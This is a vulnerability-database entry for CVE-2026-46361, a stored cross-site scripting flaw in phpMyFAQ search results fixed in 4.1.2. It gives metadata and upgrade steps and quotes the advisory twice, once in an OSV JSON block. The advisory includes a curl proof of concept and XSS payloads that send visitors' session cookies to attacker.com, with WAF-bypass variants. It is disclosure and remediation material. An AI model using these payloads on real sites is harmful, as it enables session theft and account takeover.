CVE-2026-46361: Phpmyfaq/phpmyfaq Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-pqh6-8fxf-jx22
CVSS 6.9
CWE-79
Published
Advisory Summary

CVE-2026-46361 is a MODERATE (CVSS 6.9) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Phpmyfaq/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq has stored xss via | raw filter in search.twig — html_entity_decode(strip_tags()) bypass in search result rendering. Remediation is available by upgrading affected packages to version 4.1.2.

CVE-2026-46361 at a Glance

CVE Identifier CVE-2026-46361
GHSA Identifier GHSA-pqh6-8fxf-jx22
Severity MODERATE
CVSS v3.1 Base Score 6.9
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Phpmyfaq/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-46361

To remediate this vulnerability, upgrade all affected Phpmyfaq/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpmyfaq/phpmyfaq fixed: 4.1.2
Upgrade phpmyfaq/phpmyfaq to 4.1.2
thorsten/phpmyfaq fixed: 4.1.2
Upgrade thorsten/phpmyfaq to 4.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpmyfaq/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46361, inspect your project dependencies for Phpmyfaq/phpmyfaq:

inspect dependencies for phpmyfaq/phpmyfaq

Analyze the terminal output to locate any version of Phpmyfaq/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Phpmyfaq/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping. A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output. This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch. --- ## Affected Files | File | Location | Issue | |---|---|---| | `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` | `(Vertical Bar) raw` disables autoescape | | `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads | | `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) | --- ## Details ### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape **File:** `phpmyfaq/assets/templates/default/search.twig` ```twig <a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a> <small class="small">{{ result.answerPreview | raw }}...</small> ``` Twig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data. Seven (7) instances of `| raw` exist in `search.twig`: ```twig {{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'help_search' | translate | raw }} ``` Each of these constitutes an independent XSS surface if its data source is compromised. --- ### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass **File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` ```php $data->answer = html_entity_decode( strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8' ); ``` This pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized. **Bypass walkthrough:** ```text Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)> strip_tags() → no change (no real tags detected) → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> | raw output → executes in browser ``` --- ## Attack Chain **Prerequisites:** Attacker has FAQ editor / contributor role (low privilege). **Step 1 — Payload injection** Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body: ```html <svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))> <img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))> ``` **Step 2 — Persistence** The payload is stored in the DB without HTML sanitization at the storage layer. **Step 3 — Victim triggers the XSS** Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server: 1. Retrieves the record from the database 2. Applies `strip_tags()` → entity-encoded payload passes through 3. Applies `html_entity_decode()` → raw `<svg onload=...>` is restored 4. Passes the value to `search.twig` as `result.answerPreview` 5. Template renders with `| raw` → XSS executes **Step 4 — Impact** - Session cookie exfiltration → full account takeover - Administrator session hijacking (admin visiting search page) - Persistent attack: payload fires for every visitor until manually removed - Potential for worm propagation via auto-created FAQ entries --- ## PoC **Prerequisites:** Attacker has FAQ editor / contributor role (low privilege). **Step 1 — Inject payload via FAQ editor:** ```bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=<editor_session>' \ -d '{ "data": { "pmf-csrf-token": "<valid_csrf_token>", "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "searchable-keyword", "author": "attacker", "email": "attacker@example.com" } }' ``` **Step 2 — Trigger XSS as victim:** ``` https://target.example.com/search.html?search=searchable-keyword ``` The search result page renders the restored `<svg onload=...>` payload. The attacker's server receives the victim's session cookie. **Alternative payloads (for WAF bypass):** ```html &lt;details open ontoggle=alert(document.cookie)&gt; &lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt; ``` --- ## Impact - **Confidentiality :** Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context. - **Integrity :** DOM manipulation, phishing overlay injection. - **Scope :** Attack crosses from contributor privilege context to all site visitors, including administrators. --- ## Recommended Fix ### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig` ```diff - <a href="{{ result.url }}">{{ result.question | raw }}</a> - <small>{{ result.answerPreview | raw }}...</small> + <a href="{{ result.url }}">{{ result.question }}</a> + <small>{{ result.answerPreview }}...</small> ``` If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output. ### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php` ```diff - $data->answer = html_entity_decode( - strip_tags((string) $data->answer), - ENT_COMPAT, - encoding: 'utf-8' - ); + $data->answer = strip_tags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12); ``` ### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig` The following additional `| raw` instances should be reviewed and sanitized: ```twig {{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user input ``` ### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()` ```diff $this->configuration->getDb()->escape($searchTerm) + htmlspecialchars( + $this->configuration->getDb()->escape($searchTerm), + ENT_QUOTES | ENT_HTML5, + 'UTF-8' + ) ``` ---

CVE-2026-46361 Affected Phpmyfaq/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.1.2
Product / Package Ecosystem Affected Versions Fixed Version
phpmyfaq/phpmyfaq
Packagist
< 4.1.2
4.1.2
thorsten/phpmyfaq
Packagist
< 4.1.2
4.1.2

References

Frequently Asked Questions

What is CVE-2026-46361?
CVE-2026-46361 is a security vulnerability in Phpmyfaq/phpmyfaq involving phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Phpmyfaq/phpmyfaq versions are affected?
Affected versions include releases prior to 4.1.2 across affected packages: phpmyfaq/phpmyfaq, thorsten/phpmyfaq.
What version fixes CVE-2026-46361?
Upgrading to 4.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
What is the CVSS score of CVE-2026-46361?
CVE-2026-46361 has a CVSS v3.1 base score of 6.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-46361?
CVE-2026-46361 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-46361?
Run the dependency tree command: 'inspect dependencies for phpmyfaq/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pqh6-8fxf-jx22",
  "modified" : "2026-06-09T00:02:59Z",
  "published" : "2026-05-06T20:31:54Z",
  "aliases" : [ "CVE-2026-46361" ],
  "summary" : "phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering",
  "details" : "## Summary\n\nThe search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping.\n\nA user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output.\n\nThis vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.\n\n---\n\n## Affected Files\n\n| File | Location | Issue |\n|---|---|---|\n| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` |  `(Vertical Bar) raw` disables autoescape |\n| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |\n| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |\n\n---\n\n## Details\n\n### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape\n\n**File:** `phpmyfaq/assets/templates/default/search.twig`\n\n```twig\n<a title=\"Test\" href=\"{{ result.url }}\">{{ result.question | raw }}</a>\n<small class=\"small\">{{ result.answerPreview | raw }}...</small>\n```\n\nTwig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.\n\nSeven (7) instances of `| raw` exist in `search.twig`:\n\n```twig\n{{ result.renderedScore | raw }}\n{{ result.question | raw }}\n{{ result.answerPreview | raw }}\n{{ searchTags | raw }}\n{{ relatedTags | raw }}\n{{ pagination | raw }}\n{{ 'help_search' | translate | raw }}\n```\n\nEach of these constitutes an independent XSS surface if its data source is compromised.\n\n---\n\n### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`\n\n```php\n$data->answer = html_entity_decode(\n    strip_tags((string) $data->answer),\n    ENT_COMPAT,\n    encoding: 'utf-8'\n);\n```\n\nThis pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.\n\n**Bypass walkthrough:**\n```text\nStored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\nstrip_tags()   → no change (no real tags detected)\n               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\nhtml_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\n| raw output   → executes in browser\n```\n---\n\n## Attack Chain\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Payload injection**\n\nAttacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:\n```html\n<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>\n<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>\n```\n**Step 2 — Persistence**\n\nThe payload is stored in the DB without HTML sanitization at the storage layer.\n\n**Step 3 — Victim triggers the XSS**\n\nAny user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:\n\n1. Retrieves the record from the database\n2. Applies `strip_tags()` → entity-encoded payload passes through\n3. Applies `html_entity_decode()` → raw `<svg onload=...>` is restored\n4. Passes the value to `search.twig` as `result.answerPreview`\n5. Template renders with `| raw` → XSS executes\n\n**Step 4 — Impact**\n\n- Session cookie exfiltration → full account takeover\n- Administrator session hijacking (admin visiting search page)\n- Persistent attack: payload fires for every visitor until manually removed\n- Potential for worm propagation via auto-created FAQ entries\n\n---\n\n## PoC\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Inject payload via FAQ editor:**\n\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=<editor_session>' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"<valid_csrf_token>\",\n      \"question\": \"&lt;svg onload=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)&gt;\",\n      \"answer\": \"&lt;img src=x onerror=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)&gt;\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"searchable-keyword\",\n      \"author\": \"attacker\",\n      \"email\": \"attacker@example.com\"\n    }\n  }'\n```\n\n**Step 2 — Trigger XSS as victim:**\n```\nhttps://target.example.com/search.html?search=searchable-keyword\n```\nThe search result page renders the restored `<svg onload=...>` payload. The attacker's server receives the victim's session cookie.\n\n**Alternative payloads (for WAF bypass):**\n\n```html\n&lt;details open ontoggle=alert(document.cookie)&gt;\n&lt;iframe srcdoc=\"&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;\"&gt;\n```\n\n---\n\n## Impact\n\n- **Confidentiality :** Session cookie exfiltration and credential theft\n  via JavaScript execution in victim's browser context.\n- **Integrity :** DOM manipulation, phishing overlay injection.\n- **Scope :** Attack crosses from contributor privilege context\n  to all site visitors, including administrators.\n\n---\n\n## Recommended Fix\n\n### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig`\n\n```diff\n- <a href=\"{{ result.url }}\">{{ result.question | raw }}</a>\n- <small>{{ result.answerPreview | raw }}...</small>\n+ <a href=\"{{ result.url }}\">{{ result.question }}</a>\n+ <small>{{ result.answerPreview }}...</small>\n```\n\nIf HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output.\n\n### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php`\n\n```diff\n- $data->answer = html_entity_decode(\n-     strip_tags((string) $data->answer),\n-     ENT_COMPAT,\n-     encoding: 'utf-8'\n- );\n+ $data->answer = strip_tags((string) $data->answer);\n  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);\n```\n\n### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig`\n\nThe following additional `| raw` instances should be reviewed and sanitized:\n\n```twig\n{{ searchTags | raw }}       → apply HTML Purifier or remove | raw\n{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw\n{{ pagination | raw }}       → safe only if generated entirely server-side with no user input\n```\n\n### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()`\n\n```diff\n  $this->configuration->getDb()->escape($searchTerm)\n+ htmlspecialchars(\n+     $this->configuration->getDb()->escape($searchTerm),\n+     ENT_QUOTES | ENT_HTML5,\n+     'UTF-8'\n+ )\n```\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46361"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/phpmyfaq-stored-cross-site-scripting-via-raw-filter-in-search-twig"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T20:31:54Z",
    "nvd_published_at" : null
  }
}